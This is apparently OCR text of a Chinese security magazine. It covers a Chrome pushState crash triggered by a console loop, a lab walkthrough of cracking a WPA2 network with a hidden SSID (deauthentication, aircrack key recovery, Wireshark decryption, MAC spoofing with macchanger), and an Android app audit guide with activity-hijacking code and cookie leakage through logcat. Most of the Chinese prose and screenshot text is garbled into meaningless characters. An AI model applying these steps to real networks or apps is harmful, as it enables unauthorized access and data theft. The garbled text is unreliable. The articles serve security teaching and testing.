KURL oldURL = m_request.url();
m_originalRequest.setURL(newURL);
m_request.setURL(newURL) ;
if (sameDocumentNavigationSource ==
SameDocumentNavigationHistoryApi) {
m_request.setHTTPMethod ("GET");
m_request.setHTTPBody(nullptr);
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clearRedirectChain();

if (m_isClientRedirect)
appendRedirect (oldURL);

appendRedirect (newURL) ;

-

R4, 7NN History Entry SMREDAGIE AT :

>
content.dll!content::RenderFrameImpl::didCommitProvisionallLoad(blink
::WebLocalFrame * frame, const blink::WebHistoryItem & item,
blink::WebHistoryCommitType commit_type) Line 2665 C++

content.dll!content::RenderFrameImpl::didNavigateWithinPage(blink: :W
ebLocalFrame x frame, const blink::WebHistoryItem & item,
blink::WebHistoryCommitType commit_type) Line 2950 C++

blink_web.d1ll!blink::FrameLoaderClientImpl::dispatchDidNavigateWithi
nPage(blink::HistoryItem % item, blink::HistoryCommitType
commitType) Line 405 C++

webcore_shared.dll!blink: :FrameLoader: :updateForSameDocumentNavigati
on(const blink::KURL & newURL, blink::SameDocumentNavigationSource
sameDocumentNavigationSource,
WTF::PassRefPtr<blink::SerializedScriptValue> data,
blink::HistoryScrollRestorationType scrollRestorationType,
blink::FrameLoadType type) Line 651 C++

webcore_shared.dll!blink::History::stateObjectAdded (WTF::PassRefPtr<
blink::SerializedScriptValue> data, const WTF::String & __formal,
const WTF::String & urlString, const blink::StateOptions & options,
blink::FrameLoadType type, blink::ExceptionState & exceptionState)
Line 159 C++

webcore_shared.dll!blink::History::pushState(WTF::PassRefPtr<blink::
SerializedScriptValue> data, const WTF::String & title, const
WTF::String & url, const blink::StateOptions & options,
blink::ExceptionState & exceptionState) Line 64

7£ didCommitProvisionalLload &1, {1 IAEZ

render_view->UpdateSessionHistory(frame);JiEq . ERI—DFH S, Chrome &8

Frax /1R 32K Session History £ H. XM RER2EN IPCEHERTHRM . E—PNEER/IFH
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pushState #¢Ed, XIGERAFIRFEEXERN IPCHR , SHOASERTETHE R

T,

void RenderViewImpl::SendUpdateState(HistoryEntryx entry) {
if ('entry)
return;

// Don't send state updates for kSwappedOutURL.
if (entry->root().urlString() ==
WebString:: fromUTF8(kSwappedOutURL))
return;

Send(new ViewHostMsg_UpdateState(
routing_id_, page_id_, HistoryEntryToPageState(entry)));

%, Chrome {#H render_view_->history_controller()->UpdateForCommit(this, item,
commit_type, navigation_state->WasWithinSamePage());5kE3ZHE . Chrome &4
CreateNewBackForwardltem(frame, item, navigation_within_page); 3k a1 75 558 51 & 75
— P ERT

8q chrome (Debugging) - Microsoft Visual Studio (Administrator 2vee
FILE EDIT VIEW PROJECT BUILD DEBUG TEAM TOOLS TEST DRIVER ANALYZE WINDOW HELP
o - Al it - < P Continue = Deubuc 2 o pplicatic ghts s-_i9 | @ A
© Process: [9324] chrome.exe - - tvents - Thread: [6916) base.dllibase::'anonymo ~ Stack Frame: ¢ derViewimp!: MainR
KURL.cpp History.cpp V8History.cpp History.h child_process_launcher.cc sandbox win.cc history entry.cc i X GRS
A X ) Searc
HistoryEntryx new_entry = new Histq {78l Visual Studio Just-In-Time Debugger R
new_entry->root_.reset( N 2 :
L " lj An unhandled win32 exception occurred in devenv.exe [12848]. 4
root_->CloneAndReplace(new_entr pd P [ ] b
new_iten ” ; y b
o | — The Just-In-Time debugger was launched without necessary security 4
encer=) permissions. To debug this process, the Just-In-Time debugger must 4
return:new_entry; be run as an Administrator. Would you like to debug this process? »
3 4
2 . : b
HistoryEntry: :HistoryNodex HistoryEni ® Yes, debug devenv.exe — b
RenderframeImplx frame) { - 3
100% = = No, cancel debugging b
Call Stack : : tx :
Name '® 5
© content. i y::C blink::V. .. e b e s_e_sash gy Sutsveetete b PR RO TR e | 2 b
content.dll!content::HistoryController::C kF arget | st blink::WebHistorylt C+ @ chtrue bool >
content.dllicontent::HistoryC +:Up ommit(content: pl * frame, const blink::WebHistoryltem & item, blin} C++ b @ ne 0x33caafb8 {ro content
content.dll'content:: didC i isional! link::WebLocalFrame * frame, const blink:WebHistoryltem & item, C++ b @ ne {impl_={data_: scoped | b
content.dllicontent: ds i g i ink::WebLocalFrame * frame, const blink::WebHistoryltem & item, blir C++ b @ ne {weak_referenc base:We b
blink_web.dll!blink::FramelLoaderCli ::di hDidNavii i blink::History * item, blink::HistoryCommitType comr C++ b E ne {m_private={rr const bli b
webcore_shared.dll!blink::Frameloader:updateForSameDoc igati onst blink::KURL & newURL, blink:SameDocumentNavic C++ b @ re 0x2c6c49f8 {we content 13
webcore_shared.dll!blink::History::stateObjectAdded(WTF::PassRefPtr<blink ali; ip! data, const WTF:String & __formal, ¢ C++ b @ ro {impl_={data_: scoped_| b
webcore_shared.dll!blink::History:| WTF::PassRefPtr<blink::SerializedScriptValue> data, const WTF::String & title, const WTF:St C++ b @ ta 0x2c597a8 {frz content: S
webcore_shared.dll!blink::History onst v8:FunctionCallbackinfo<v8::Value> & info) Line 188 C++ b @ th 0x33cadbb8 {rc content
webcore_shared. ink::History' v8:F i :Value> & info) Line 198 Ces
VR AllAR inrtinnl allfunid teanct i AN line U Fisw -
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NEE, %854, Chromium/Chrome HIRRS T history X RHIEE S 50. XZFRENH
Eo ETRIEAGM <> —H&7T, RESHAIT, Z2ERAFTHHREFESEN, XH
KEFERESER CRAINAFTE.

[@] ri—TF, fksniE
€ - C & https://www. baidu. com ke =
ds a L -
[w ﬂ Elements Console Sources Network Timeline » : X
© ¥ top ¥ [JPreserve log
undefined
> for(var i=0;i<3000;i++) history.pushState(9,@,''); history.length;
5@
> |
u

MIIRINEEANBEKRE IPCHESH CPU (RNt AEREBFFMHIERE, tabH CPU
M) o« AFHNIKF, Chrome FHREFR. XH Tab BIF]. FAAXMEHRTA Google
NAAXERBNER. (HIOURE/RE: ) .

FTl Chrome BRiX 4 %R T, BitEEE Safari. XM IE LT R EEFE WebKit T,

fE& : kOshl

BE Web/ RE / BRZE

F1E  REEEAEERFIR WIFI P2

{E#& . $hidF L' AMORE
0x00 RIS

TEMBZLEREISK, BRILFEHBERT, LRERRE. ©l, TRETHNEE, TLHMI
Wi-Fi, RERXAREXLLEFLLALIALTURN, RAMREMEREER, MERERRK, X
¥ Feature B>, ZERERTIERER T2 HRE.

SRTE LN RABAIEARITR 802.1x, EE2EALHREARAURESE—BINLRS
28, EALWMIEAN WPA/WPA2-REMMINMERR. ERARNRET, BF— L2224
FHATLME Z 2 M. —RORAM AP SRHFUTRAHR S
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@ Mac Address Filter, &2 EXmaE T MAC thitfiiE 28/ 528 HRS STA.
(2) No SSID Broadcast, i SSID /™ $& RURIE 2 B HBa il o

BribZz SR, —RRFAEZME AP (Router) , &K DHCP Server fiIfige, FBAIMRKH
7 DHCP server, STA st FEIFEEBEA IP/Mask A ATLEE#EA, MNRE PR EEZ
IRt /M EE, FBARIMEERE. A, X&F DHCP hggth B A— L 2eWE, B8R
ERITHYRHTRIEEZEHNAEEEMN.

0x02 ¥ EAH

SSID:iSafe_Network
Auth:WPA2-Personal
Encr:AES
PSK:SecurityFile
VLAN:10

Network:172.31.10.0/24
Default-GW:172.31.10.254

AP:Cisco Smallbusiness Series (ZERREH, B HAEHEX)

MR r2i%Z iSafe_Network LR &8 & :

Security Settings
Select SSID:

Security Mode: | WPA2-Personal v|
Encryption: AES
Security Key: |SecurityFiIe l@ Below Minimum

Show Password:

Key Renewal: 7200 Seconds (Range: 600 - 7200, Default: 3600)

Save || Cancel || Back I

%7 SSID 14
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Radio: Enable
Wi-Fi Power: 100%

Wireless Network Mode:

Wireless Band Selection: ® 20mHz O 20/40MHz

Wireless Channel: 1-2412GHZ
AP Management VLAN: a4

U-APSD (WMM Power Save): [ Enable

O Enable SSID | SSID Name | SSID Broadcast |Seqmty Mode MAC Filter csc VLAN | SSID Isolation WMM WPS
e PA

L] [ -Personal Enabled O 1 O

WNPA2-Personal Disabled

< KISl <

O
]
O [m] cisco-network M WPA-Enterprise  Disabled O 1 O
O

] cisco-guest %l Disabled Disabled 3 %

|ﬂ| Edit Security Mode || Edit MACFiltering | [ Time of Day Access |M% EditWPS

FRBZEF M Mac Address Filter, FRRM—1M4&7% MAC Hifit:

SSID Name: iSafe_Network
Wireless MAC Filtering: [ Enable

Connection Control

O Prevent PCs listed below from accessing the wireless network.
® Permit PCs listed below to access the wireless network.

Show Client List

“9A:88:69 12
13
14
15
16
17

T

%4 VLAN10 fy DHCP B %5 :
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IFva

VLAN:

Local IP Address:
Subnet Mask:

Server Settings (DHCP)
DHCP Server:

Remote DHCP Server:
Starting IP Address:

Maximum Number of DHCP Users:
IP Address Range:

Client Lease Time:
Static DNS 1:
Static DNS 2:
Static DNS 3:

WINS:

0x03 &¥EFENIREE:

(172 |[31  |[10

| 255.255.255.0

v]

|[254 | (Hint 192.168.1.1)

O EnabE ® Disable]O DHCP Relay

|0
172.31. 10.|1oo
|5o

172.31.10.100to 149

,|0 .|0 .|o

|0 minutes (0 means one day ) (Range: 0 - 9999, Default: 0)

0 |0 .0 |0
0 |0 |0 |0
0 0 |0 0
0 0 .0 0

O MFREZEENH MAC HIBERmM#E T HRE (B EER XXXX.XX9A.8869)

@ FrhigEFHSHt.

FTF I SF03E 2 - B BUE AL SR i

XHF) REE FEV) IRM
E|Ry  EEN FRARREmEE

L‘. Cisco AnyConnect Secure
— Mobility Client Connection
EER

| VMware Network Adapter
VMnet1

BR

= | VMware Network Adapter
VMnet17

%7 BER

| VMware Network Adapter
VMnet3
EEE

- EsmmsE

X d Intel(R) Dual Band Wireless-A...

EERNERNTLM K, AR-BMUE-NE P IRAE 4(TCP/IPv4)-FR)IRE P thilt-#E 0

&

A ® BHER > FE Internet > MEEE
ERN)  #E(H)

SRR NEE EaglusE EMERANRE
= | Loopbackl L‘ Loopback2 = Virtual
FAHRIE . Bz &P =]
Microsoft KM-TEST IREIEE S @ Microsoft KM-TEST IREISESS... G Virtual
L‘ VMware Network Adapter | VMware Network Adapter =,/ VMwa
|E vMnetio VMnet13 VMnet
& zzm Ea B
.: VMware Network Adapter | | VMware Network Adapter =/ VMwa
BE VMnetis VMnet19 VMnel
& 2R # ezm =
| | VMware Network Adapter = WLAN = AiE
&F VMnet8 &p FEE &F Cisco-
BB X m 802.11n USB Wireless LAN Card -4 Realte
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=)
WMEREZISHINEE  NELERSNER 1P 28, BN (REENR
EEGEEINREEIN P RE.

O EFEE IP HB1L0)
@ EATFE IP HBHH(S):

1P H54H(1): | 172.31 .10 . 1 |
FRARE(): | 255 .255.255. 0 |
BRARIZE(D): | 172,31 . 10 .254|
S8 DNS [BSSiEiHE)

@ EEFER DNS BSSHBE):

3% DNS BEE(P): | 114 . 114 . 114 . 114 |
&7 DNS BESS(A): | .. |
DiReEERE0 —

@ Win10 ATl EEFRIREMMNE, BEQmEERERA SSID MR A XL

7 TR

WANEERIZFR(SSID)

WMRE Win7 win8 ERIICIZERRB XD “REMNEZR , FEFEHRM (Winl0 day
PAXHEF)
1. WMEMEZRO-REFNFEEI WL
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A E o BNEE > FERNEER | REEEEE0 | O

XEF REE ZFEV) IEM EEH)

- BEENRESE
SEEIE
EmEESAE
Sy SBIEEERL: Internet
ERRRREEE e sEA OEERE, TLaR
e [ xems
KIRBIORIE BEER  FASRIRE
RN == U Loopbackl
ExEERE )

=§. BEFEERNE
BEEE. HS VPN 8 HESEaSREAS.

[ mEew
LEHEENEDE  NEREREREEE.

2. FHEERFITEAMEERFROLTLERS (EEANF) -MATHXLERBEHFAESY L R
EMEART ERER" -T—F

« W EMEEITENE

BNRERINAITENGEAIEE

RIS (E): [isafe_Network

FEHR(S): WPAZ - PA v|

INEZEA(R): AES v

ELTHO: [securityFile | Dess=me
[ EsEantEEm

I BIEEREARET TBRIEE(0)
=E: MRREER , Uit ENsBRAEETREENE.

[F—=mn || =z |

3. R=FE “MINMAIT iSafe_Network” 2Rk E| WIFI 53 ERRIA]
4. WE EERI
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=5
’ FRIHHEZRINT iSafe_Network

irnet
N N HMIEEIEEE (iSafe_Network)
- EXEFREH)
IThEREELEENRE.

VMware Network Adapter VMnet1
E 75 Internet

TR

iSafe_Network
/fr:ﬁ.&?%,??%

0x05 WAHELIHZEBIR#EH) SSID
XfF A # 5 WPA/WPA2- N AT HZZAFH A RAWER, RATLMER aircrack-
ng/cowpatty/hashcat/pyrit/ewsa SEATEEMA R, XEFATZHKIAK.

HABNEXNZIL WIFLIE, BFRS#% SSID (Beacon i RER A4 SSID) |, Fridik
NREERIMMHKE SR 13 (ISafe_Network —3£ 13 M=2)
- =3 @ O ¢

XHHF) 4RIB(E) BB(V) 1BER(S) LuR(T) #ENH)

fk CH 1 ][ Elapsed: 0 s ][ 2016-08-24 20:02

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTF ESSID
02:BD: 18: 08: 28: 65 -45 53 34 3 0 1 54e WPA2 CCMP PSK <length: 13>
BSSID STATION PWR Rate Lost Frames Probe

02: BD: 18: 08: 28: 65 9A: 88:69 -43 Oe- 54e 0 3

HFARS# SSID, & Pum&EiEr KW E & Probe Request i fp#3 SSID, IR A9 E5hR
W, FOTATLOXFER: ZPumig” 5 SSID X SSID {RIEXMHEIS?” AP MEIRZHRSCH
Probe Response. H-Fix# 802.11 BEMNXZ BMXAemME, BUEAREE, BIND
SHNE| Probe 30, iXAHE SSID 51821 7. REFE FimEEM SR SSID AT AL
BESF, MEREEML, DeAuthentication i@ — P AEMNIEE. (HBREEHEHMT
%, BREREENR)

WE, METEFENERN, 0E2TAR#E SSID! XM SSID gt Rd it !
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XHHF) 4REB(E) EB(V) MER(S) Lu(T) HBIH)

% CH 1 ][ Elapsed: 9 mins ][ 2016-08-24 20:11 ][ WPA handshake: 02:BD: 18: 08: 28: 65

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:BD: 18: 08:28:65 -46 14 5370 2659 10 1 54e WPA2 CCMP PSK iSafe_Network
BSSID PWR Rate Lost Frames Probe

02:BD: 18: 08: 28: 65 [ ©A: 88: 69 -45 Oe- Oe 2616

R, NERR

KEY FOUND! [ SecurityFile ]

0x06 EF|ZML K =ZEHHEED 1P Hubl/FIHERD
Er ERZE, NNE—F
KEEMMB N SE LRIEFH cap 3L, wireshark J TAHE, MEZMER .

Edit(4g%8) — Preference(g&ixtIi) — Protocol (i)

1-03.cap [Wireshark 1.12.6 (Git Rev Unknown from unknown)]

Fild iew Go Capture Analyze Statistics Telephony Tools 13
=]

© 1™ B | oo

—  Ffnd Packet i Save window position; <
[ N Layout

d Next N & " V)
Column ave window size
No- | Fhd Previous ceB N olmne
- | Font and Colors Save maximized state: '
ridUnmark Packet ct 63
Capture “File Open’ dialog behavior: ~ ® Remember last directory  Always start n
rk All Displayed Packets Shift+Ct 6o {| Fiter Exp
Ufmark AlL Displayed Packet: Ctrl+AlLH 65 || Name Resolution Directory.

65 {
69 (|_Printing

“File Open” preview timeout: 3 |
69

a0 )| *29West Max

Prpvious Mar Shift+C

Igrfore/Unignore Packet imum recent filters: | 10 |

2dparityfec
U Displaye .
k o 6LOWPAN Maximum recent files: |10 |
AL
802.11 Radiotap Confirm unsaved capture files:
A-bis OML
ol an Wrap to end/beginning of file during a find:  ~
5 d
o N g
P ou Refe 69 || ACR122
o | and title Both -
S acwace
Timg Shift.
6s (| ADBCS Auto scroll on expansion:
Editfpacket & | aowin )
ot comment B | e Auto scroll percentage: |0 ]
> iguration Profle: ShiftsCuisa freacap]| Web browser command: | %s |
rIEEl — AM
»1gg| Preferences BIELCHE ALC Display icons in the Expert Infos dialog tab labels
FREN(H) IF(A) EC) || ®E©) |

0000 80 00 00 00 ff ff ff ff ff ff 02bd 18 08 28 65 ..
0010 02 bd 18 08 28 65 0 f7 fc Sc a0 23 00 00 00 00 ..
0020 64 00 11 04 00 Od 00 0O 00 0D 0O 0O 00 00 0O 0O
0030 00 00 00 01 08 82 84 8b 96 24 30 48 6¢ 03 01 O1 ..

@Y | File: "/root/RM/1-03.cap” 114...| | Packets: 19250 - Displayed: 19250 (100.0%) - Load time: 0:00.204 Click to change configuration profile

1-03.cap [Wireshark 112.6 (Gi.

IEEE 802.11 - Enable Decrypt({Fgefi223) - Decryption Key Edit(4pi8f2235350) - HE
- ®E#EF wpa-pwd - A PSK:SSID - #E
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BIRREF ~

[ 1-03.cap [Wire

Wireshark ~

k1.12.6 (G

File Wireshark: Preferences - Profile: Default

| @) Hp_erm
HPFEEDS
HTTP
|| HTTP2
12¢
ICEP
ICMP.

1/ CEees0z11]

wpa-pwd  SecurityFile:iSafe_Network

N E(N
1P
iscsl £51(0)
VFr{| ISDN WEP and WPA Decryp... @ @
» e )
ISMACRYP

JLFA(A) HUH(C) WE(0)

BUH(C)

Key

WEP and WPA Decryption Keys: ...

Zi, BERAXT, SRERFH 802.11 WX FFHE, RAEMEH Fiter AIA].

W) |\ - o SN R XSS R AR L] ] = | .

¥ || Expression Clear Apply ®R=

18394 628.661508 172.31.10.1 114.114.114.114 ICMP 150 Destination unreachable (Port unreachable) o

=) Frame 18394: 150 bytes on wire (1200 bits), 150 bytes captured (1200 bits)

pp » IEEE 802.11 QoS Data, Flags: .p.....T

. bLoglcal Link Control
~Internet Protocol Version 4f Src: 172.31.10.1 (172.31.10.1), Dst: 114.114.114.114 (114.114.114.114) |

Version: 4

172.31.10.1

20 bytes
Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
00

Time tO 11 4
Protocol: ICMP (1)
» Header checksum: 0x938d [validation disabled]

TSI IO T T T T T Tl 4. 114, 114)
[Source GeoIP: Unknown]
[Destination GeoIP: Unknown]

» Internet Control Message Protocol

SRV UENZRRE IP ik, E2FMNEHRERNSESE P RPN, BEAfhxyFiE

SMENRREZBLABEN, SRXMEELRERT, TEHMAILDHETMNEKERNIT

O KEMZ, 100 N2l 99 PERE/24.

@ BEER! 5EAX, AXPEIEC XK, —ﬁ%ﬁ%/%, BEEBRMIEBIZ VLSM, M/30 1
ML FAIEAR, FAA/32H 31 EEZAFTEER . MK EEJ\E%,M%ﬁﬁ VLSM (AT A< F 0 178
m), BEEMBEEK, /25-/30 E’]—I“‘liAﬂE%k WART, BEERET 48, ERBIEERK
gt 32 PAK, EIRDAY!

Q@ HAEHMAZLERIE, RE—GEN, RMALKEFATESET/IAEE/LTERE,
T8I S TRY T HAESE Bl SR H
EEanB M Ttk :
10.1.1.1,10.1.1.10, 10.1.1.254, 10.1.0.200
MARER, RIKMAREF 255.255.254.0 7, HA/23 I &bt ELF=Z 10.1.1.255. &4
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RATAERE, EUIRAVIEEZ/23-/1

FRIURIE LEAILA/NMETT, BRI Safe_Network IR £75 172.31.10.0/24, 2 &
— TR W -RAERS ip kBN AT, EEAELIMAEEMAR, JEK.

0x07 Z=WE Mac Address Filter
ERMNMEBHEIE, BRI T —NEFPim 7, 12 T mac ik (B xxxx.xx9a.8869)
=3 ] e 6O ¢

MHHF) 4RSB(E) EE(V) BER(S) LUE(T) HBEN(H)

# CH 1 ][ Elapsed: 0 s ][ 2016-08-24 20:02

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTF ESSID
02: BD: 18: 08: 28: 65 -45 53 34 3 0 1 54e WPA2 CCMP PSK <length: 13>
BSSID STATION PWR Rate Lost Frames Probe

02: BD: 18: 08: 28: 65 9A: 88:69 -43 Oe- 54e 0 3

REFRNIEE KN RH MAC HIRHER A &% MAC BIF], BRI R E S down [
o
# Windows TH1RZ mac HilHgekas, RMNTUBEET—1, ROUXH:

Mac MakeUp ver. 1.95d (c) 2003-2006 H&C Works X

MBI A% IEHE #EH) [ UnPacked. by. KuNgBiM | iR{f:peid ]
Mttt
STEpACHhy  00906£123456 ~| AR | Bk |
BT |None ~] s |
[~ mc i [~ REEZEEERES
v ERiEER SIS v BzhE gk
 IP YRGS FihuEERE |
21:10:02;Checking permissions A

21:10:02;Permission check was ok
21:10:02;Locating and loading database
21:10:02;Selecting Mac Makeup local OUI database
21:10:05;Loaded 6997 OEM IDs
21:10:05;Scanning interfaces
21:10:05;Skipping virtual interfaces
21:10:05;Found 43 network interfaces, 37 virtual
:Intel (R) Dual Band Wireless—AC 3160 can be powercycled

Kali Linux TRILAF BE®RY macchanger TH, wAE:
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35

( )= )
r—{ ifconfig wlan0 down

( ) - ( )
[;4 macchanger wlan0
Current MAC: c8: 3a: 35: c1: (1

Permanent MAC: c8:3a:35:c1:"1

:d3 (Tenda Technology
:d3 (Tenda Technology

( =
[:-I macchanger -m . 9A: 88: 69 wlan0

Current MAC: c8: 3a: 35: 01
Permanent MAC: c8: 3a: 35: 01

:d3 (Tenda Technology
*d3 (Tenda Technology

New MAC: 93" ¢8: 69 ( unknown)
=i )

( - -
I_—| ifconfig wlan0 up
( I )
I_—| ifconfig
etho Link encap: Etherret Hwaddr 00: Oc: 29: 6e: dd: da
inet6 addr: fe80::20c: 29ff: febe: ddda/ 64 Scope: Link

UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric:1

RX packets: 256 errors: 0 dropped: 0 overruns: 0 frame: 0
TX packets: 211 errors' 0 dropped: 0 overruns: 0 carrier: 0
collisions: 0 txqueuelen: 1000
3 Ki8) TX bytes: 58658 (57.2 KiB)

RX bytes: 31086 ( 30.

Link encap: Local Loopback

inet addr:127.0.0.1

Mask: 255.0.0.0

inet6 addr: ::1/128 Scope: Host
UP LOOPBACK RUNNING MTU: 65526 Metric:1
RX packets: 26 errors: 0 dropped: 0 overruns: 0 frame: 0

TX packets: 26 error

"s: 0 dropped: 0 overruns: 0

collisions: 0 txqueuelen: 0
KiB) TX bytes: 1598 (1.5 KiB)

RX bytes: 1598 (1.5

Link encap: Ethernet HWaddr 9a: 88: 69
inet addr:172.31.10.150 Bcast: 1/4.31. 1U. 255

0x08 155 ) B e !

HEETIRREER wWi-Fi &

ERER wi-Fi &

carrier: 0

Mask: 255. 255. 255. 0

WABEERMPREN Wi-Fi MENBHLRZSEFRER,

Connection:
Network name
Wi-Fi security:

Password:

Ei =

[iSafe_Network

\ WPA & WPA2 A

[SecurityFilel

— N N BS(W)

| O |
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iwconfig
no wireless extensions

IEEE 802. 11bgn ESSID: "iSafe_Network"

Mode: Managed Frequency: 2.412 GHz Access Point: 02:BD: 18: 08: 28: 65
Bit Rate=65 Mb/s Tx- Power=20 dBm

Retry short limit:7 RTS thr: off Fragment thr:off

Encryption key: off

Power Management: of f

Link Quality=62/70 Signal level=-48 dBm

Rx invalid nwid: 0 Rx invalid crypt: 0 Rx invalid frag: 0
Tx excessive retries:1 Invalid misc:0 Missed beacon: 0

ML

e ) Wi-Fi
EX e GE )
iSafe_Network +« E g =

FoE  ZHE APP ¥VIRINIAZIR

{£& : hero
—. METETH=RE

Drozer
Drozer JE%& mercury, 22— R4 Android APP 243 T HE. MAEGH X R/ Z AR
MRS

1. TEHhuk: https://www.mwrinfose curity.com/products/drozer/

2. PCHTZRZEFEFEAEREMEZ IR Agent.apk

100 T .l G 10:30 FF

drozer Agent

drozer

3. FHmBEzIRSGE, BYMUTa<ERE, Drozer AU USB ERMEEL X, ¥ E
T3 F e

- 192. 168. 250. 58|}

JEB
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JEB B— 1P IgER AN AT 2T W ALIRITH Android FAEFHRmIFLAE. ATF¥EEIRE
HEIT APK X, ATDUR SR E DTS TIRIMH S 4T jE) o
T#Huk: http://pan.baidu.com/s/106y0e9s

37
= BRBERE

REZER A BT
yenise &R

i

I R 3R «

RARME, HERBRE SR,

REFRECEASHITEARBEFEERENAD, MEEEAMR RS
KBTS ENPR:

i” )

1. Shared Preferences 2 F key-value REMETAR R RGEHRER xml XX, HIERBFRR
TR, B, KEAMFRS.
BEBELTEENEER:

G

R T K& SQlite 7#F.

/data/data/<package name>/shared_prefs/<filename.xml>, BIEFTHAEEEEH B
2.5Qlite #HBERREERE T CHNEIRE . XEXHBEEM db 5FE salite Z£E. ZEERIA

N AR EE e — R R TE AV T

/data/data/<package name>/databases/<databasename.db>, A[PUFER SQLite #4
EEERITASERS A SRR

3. ®E SD FEHRHREHEEBREIE.
KRBT E.: SQlite #izE:

WETESS B R

BRI XA TE A M BB ST TN 2
R . -

55 SR EERMBEE A AERIE
KRETEMDR:

B

B EE

Ko

FRRIEIR: 24 APP 4bIEF P S H TEURER A MEURER, T

RESHEERNERAZENNE,
1. Android 12 £ H EThEE =

L B /NAHE

MRIERKIEE
EAMN. EEASHNAXAERM:

=

MEMHT, BE—REFLEEFLHEEIK
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1) f#H Eclipse: £ Logcat IR EZINHETHEAENFAEEEER, ERAgEHRSs
BFLEHRER.

blems @ Javadoc [, Declarstion (D) Console ¥ LogCat Properties
carch for me es. Acceots Java reae th pid:, app:, tag: or text: to limit " verbose ~| H I8
Le.. Time Application

Kl1. Eclipse F I HEE R
2) f£H adb: EH&<# adb logcat FE&uRHITEILH AR ARS. BN logcat MR
IRBEXBHAR. FBEI S H#adb logeat > output.ixt, KHERER B4, UER
HAE— S 9.
-v verbose FTEDTELH
-d debug FIENEIRZR A&
-linformation FTENMEREHE
-€ error FIENFIR K H &

-wwarning  FTEPELEHE

Yoawd iy eyt k.ogg
AAudio 0ol could y asaudio/uis/Effect ogg
uil’oul( e loading / /media i Frecet T o
Wl Audio 2 <1272 undpool could ..m ile s n~n/r.mn../mu io uisEffect
,....dh.uu . loading te e ¢
a i

yo
un-lp-)nl cou £ / od i o ui/Effect_Tick.ogg
. o > Tic

ogg

13 : i ’ 5 2 ffect ogg
u..ﬂ‘....l( > v ing /s me i > ypr o

ji Audio > z could not tandard.ogyg

E./S ..uumn i ten/ne

pacebar.ogg

sDelete.ogy
oading /s t

ndpool could
loading /sy
ndpool

n.ogy

nualid.

ndpoo 1

loading /syst

ndpool could ile: Tick
loading /systen/medi

undpool could not 2 ; diasaudio uis/Ef t_Tick.ogg
oading /s /medi Effect_Tick.ogg

ndpool cou 2 i ten/media‘audio/ui/Effect_Tick.ogg
TART uB < .isi.t - come> from pid

ding 8 > 3

.ogg

.ogg

andard.ogg

Spacebar.ogy

= lete.ogy

..uu..;l(

l/ﬂlldln
u“’un]

Re
ysten/mediasaudio/uisKe eturn.ogy
Invalid.ogg
audio uisKe :Invalid.ogg
samples

C
I ActivityMan
D daloikvad 13835: GC

K2, i adb T H &
2. URL 73 fi 28 Cookie W5 : £F web R ARRF 4% URL, cookie MIEFS;
B, ARREESIFAPNSE. IFENEFUREERS, REHE, NBEFZSHE
. M@ <#adblogcat|grep “cookie” ATLAM logcat % ridig & i cookies
EHEER.
KA THE: Eclipse. ADB
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B

1. fEEERNFRBS RS TNEE .

2. XIS EHBEHTNE.

=, BaHRRg

KETHAFERAZFXK, SBHPEEMHTE

fakrgnl: =

BB : #HiEe, BEENASNIERANEERARTHELR, BRAPENE

¢l

FHERIE, XENEEMN. BT, S APP HENRIMNGR, BWAFRA KRR
BR, MKS. EMBHMINEZBE, KERMGTHHNEN.

KBTS ENPR:

1. wEREBIREULIN Activity BFR, TEXGE Activity BEAIHNEHF.

@verride
public void run() {
ComponentName cn=((ActivityManager) getSystemService(Context.ACTIVITY SERVICE))
.getRunningTasks(1).get(@).topActivity;
Log.e("HijackService_TimerTask"”, cn.flattenToString());

K13, FIH Eclipse % 5 A5 E B Tl activity
2. MAE & BUBME B H OB, XA BELSHA MNAHFRY, W

L7 DR

7
private void hijacking(String pkgName) {

if(targetComponents[@].equals(pkgName)){
Intent intent = new Intent(this, FakeActivity.class);
intent.addFlags(Intent.FLAG ACTIVITY_NEW TASK);
startActivity(intent);//=x#2rF

i

Ela. By taEhREh il —f, @i intent Bk
KMETE. JEB, Eclipse
Bl
1. HARFABXNNEEEIUERN, BYREERT Activity, FIMSRNZITHESEAE
FF, —BRXIMEAETER (AT . & 7R PRRUGENaEFNERIE. Bl

K HER) onpause HISLINEY fa EFEFFF I ThAEE -
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2. R HTMLS i3t android+HTMLS SBRAFF R, SEMER. NS XRIE, BREKY
FEHI XU o
g, REERFAR
WebView I
fEkgA: 5
] REFEIR: 7 webView TH—NEEHRE O & add]avascriptinterface, #ESLH
A jova Fjs R E. HNEAHREFE WebView JFiE, RAXEM JAVA SE 75558 A
1TRRF, SEMEEFH addJavascriptinterface xR ZRiE webkit 52 4] android
AHl.
RAEFENDR:
1. FARMFRMG dex2jor 7 jdgui.exe BERNRBE. BASERUAT:
1) BER APK X REA Zip HgE, JEIHFH closses.dex, ERLZ java X
i BERY dx TEFTEMMN, ¥ classes.dex Ef1Z] dex2jar.bat FriE B3R
dex2jar-0.0.9.9 st

2) EHSTTEME dex2jar.bat FrEE S, &7 dex2jar.bat  classes.dex, 4}

Eﬁvg 1985-2001 'mcm»ofc Corp.

IC:\Documents and Settings\Administrator>cd C:\Documents and Settings\Administrat
or\—%[ﬁ]\deijar—Z B\dex2jar-2.0

C:\Documents and Settings\Administrator \?E\dex&]al —2.8\dex2jar—-2.8>dex2jar.bat
R, WAREAE fTBL‘Tf B

IC:\Documents and Settings\Rdministrator\%@\deijar—Z.B\deijar—Z.B>d2j~dex2jar

-bat classes.dex

dex2jar classes.dex —> .\classes—dex2jar.jar

IC:\Documents and Settings \Rdministrator\%@\deijar—Z .B\dex2jar—2.8>

Kls. ff H dex2jar At
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File Edit HNavigate Search Help
1A - R ARCR

@ Java Decompiler — NainActivity.class

classes-dex2jar.jar

= android support. vd
@ f accessibilityservice
@ wp
@ {8 content
@ ) database
# H} graphics. dravable
@ @ hardware display
@ 8 internal view
& 3 media
@ net
- os
@8 print
8 text
& util
@ @ view
@ widget
= 8 com. isi. testapp
@ [J) BuildConfig

@ [J] Welcome

BuidConfig.class MainActivity.class

package com.isi.testapp:

mport android.app.Activity:

public class MainActivity extends Activity

{
Button btn;
EditText et;

protected void onCreate (Bundle paramBundle)
{
swper. onCreate (paranBundle) ;
setContentView(2130903040) ;
this.et = ((EditText)findVievById(2131230721));
